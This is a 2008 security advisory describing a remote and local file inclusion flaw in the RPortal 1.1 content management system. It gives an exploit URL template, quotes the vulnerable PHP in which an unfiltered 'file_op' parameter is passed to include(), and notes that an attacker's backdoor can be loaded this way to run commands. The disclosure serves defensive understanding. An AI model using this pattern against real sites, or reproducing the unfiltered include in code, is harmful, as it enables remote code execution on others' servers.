Remote and Local File Inclusion Vulnerability <= 1.1 Rportal

2008-10-02T00:00:00
ID SECURITYVULNS:DOC:20638
Type securityvulns
Reporter Securityvulns
Modified 2008-10-02T00:00:00

Description

RPortal v1.1

Rportal is a management system of contents simple and powerful Web,

enabling you to create your site in a few minutes, while profiting

from a complete and effective administration.

Remote and Local File Inclusion Vulnerability <= 1.1

Found the 29th September 2008

Author: Kad

mail : kadfrox [ a ] gmail [ dot ] com

script : RPortal v 1.1

http://www.rportal.org/?op=download&fid=36

[~] Exploit :

http://www.site.com/index.php?file_op=[url]

Vulnerable code source :

if(!isset($file_op))$file_op='';

if($file_op!="")

{ $op_basepath = trim(strrev(strstr(strrev($file_op),"/php/")));

    if&#40;$op_basepath!=&#39;&#39;&#41; $op_basepath = str_replace&#40;&quot;/php/&quot;, &quot;/&quot;, $op_basepath&#41;;

    include&#40;$file_op&#41;;

}

The problem is that the variable $file_op is not filtered

Then, you can put the link that you want, like your own backdoor

and execute commands.